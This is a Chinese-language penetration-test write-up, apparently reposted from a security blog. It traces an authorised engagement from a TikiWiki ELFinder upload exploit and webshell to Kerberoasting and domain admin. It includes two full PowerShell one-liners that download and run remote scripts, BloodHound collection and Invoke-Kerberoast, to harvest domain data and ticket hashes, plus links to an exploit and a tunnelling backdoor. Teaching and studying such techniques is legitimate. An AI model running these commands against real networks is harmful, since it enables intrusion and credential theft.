从一个IP入手到拿下域控的整个过程
2022-9-20 09:2:43 Author: 信安之路(查看原文) 阅读量:20 收藏

在一次渗透测试中,客户给了一个 IP 范围,要求执行外部的渗透测试,在尝试 nessus 扫描之后没有发现任何可以利用的点,着着我不得不探查目标 IP 是否部署有 web 服务,从而进一步测试。

反查域名

企业外部提供服务的网站都是通过域名来访问,在得知目标 IP 的情况下,我们是有机会获取到有哪些域名解析到这个 IP 之上,方法有很多,比如一些网站提供的 IP 反查功能,还有一些 dns 数据库中查询,还有就是通过搜索引擎的语法,这里我是用 bing 的搜索语法来看看这些 IP 上部署了哪些 web 服务。

经过一轮搜索,发现其中一个 IP 部署了一个 wiki 系统,如图:

链接中有 tiki 关键词,让我联想到了 TikiWiki CMS,接下来我通过搜索引擎搜索关于 TikiWiki 相关的远程命令执行的漏洞,别说,还真有,问题出在插件 ELFinder 中,恰好目标使用了这个插件:

漏洞利用

漏洞利用的 EXP 在 exploit-db 上找到,是 msf 的插件,需要使用 msf 来进行利用,漏洞利用 EXP 地址:

https://www.exploit-db.com/exploits/40091

该漏洞是一个文件上传漏洞,利用过程如图:

但是在实际利用的时候,发现没有成功,报错提示是连接被重置:

因为漏洞原理我们是知道的,毕竟 exp 中写的很详细,接下来我们尝试手工复现,构造漏洞利用的数据包,然后提交至服务器,如图:

发现上传成功,接下来可以访问 webshell 来控制目标服务器。

权限提升

在使用 php webshell 执行 systeminfo 命令时返回信息中发现,目标服务器在域中(Domain 字段有域名):

然后查看当前 shell 的权限,使用命令 whoami,发现是 IIS_IUSRS:

从这里我们可以知道目标服务器操作系统是 windows,web 服务器是 IIS,使用 asp 的 webshell 会有不同的权限,我尝试上传了一个 aspx 的 webshell,然后查询当前权限,发现是 NT AUTHORITY\NETWORK SERVICE 权限:

域信息收集

接下来我是用 BloodHound 来收集域中的相关信息,命令:

powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/incredibleindishell/Windows-AD-environment-related/master/Blood_Hound/bps_in.ps1'); Invoke-BloodHound -CollectionMethod All -CompressData -RemoveCSV 

将收集到的信息上传至本地的 BloodHound 控制台,发现有很少的用户可以获取域管理员的权限:

接下来使用 Invoke-Kerberoast 收集 Kerberos TGS Ticket,命令:

powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty hash | Out-File -filepath ticket_b0x.txt

将获取到的 Ticket 信息使用 hashcat 进行暴力破解,还好在一天后成功获得密码。

建立 HTTP 隧道控制内部服务器

测试时发现,内部比较敏感的机器,比如域控制器,无法建立反向隧道,因为外围防火墙做了出站限制,为了解决这个问题,我是用了 NCC 组织开发的建立 HTTP 隧道的脚本:

https://github.com/nccgroup/ABPTTS

将 asox 脚本上传至 web 服务器,然后在本地启动,这样我们在本地就可以访问域控制器上的资源:

其实 ABPTTS 的功能与 reGeorg 类似,通过主动连接 web 服务器后门来建立 HTTP 虽然,然后就可以将本地的流量通过 web 服务器上的后门转发至内网,从而实现对内部敏感服务器的访问。

后来因为域中 ACL 权限访问控制过于松散,从而获得了域管理员的账号权限,接管了整个域。

总结

本文算是一个比较完整的域渗透过程,很多细节做了精简,但是大体流程还是比较清晰,每一个过程可能有很多可以替代的技术,作为参考,还是很有学习的价值的,能够清理的了解一个完整的从外到内的整个渗透过程。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247497981&idx=1&sn=67c547fb65bdd9bbab449a785496080c&chksm=ec1dc8d5db6a41c3eb335e54f8987539ca3decffda913461cb89c0876ecf702cf331b9b57cc2#rd
如有侵权请联系:admin#unsafe.sh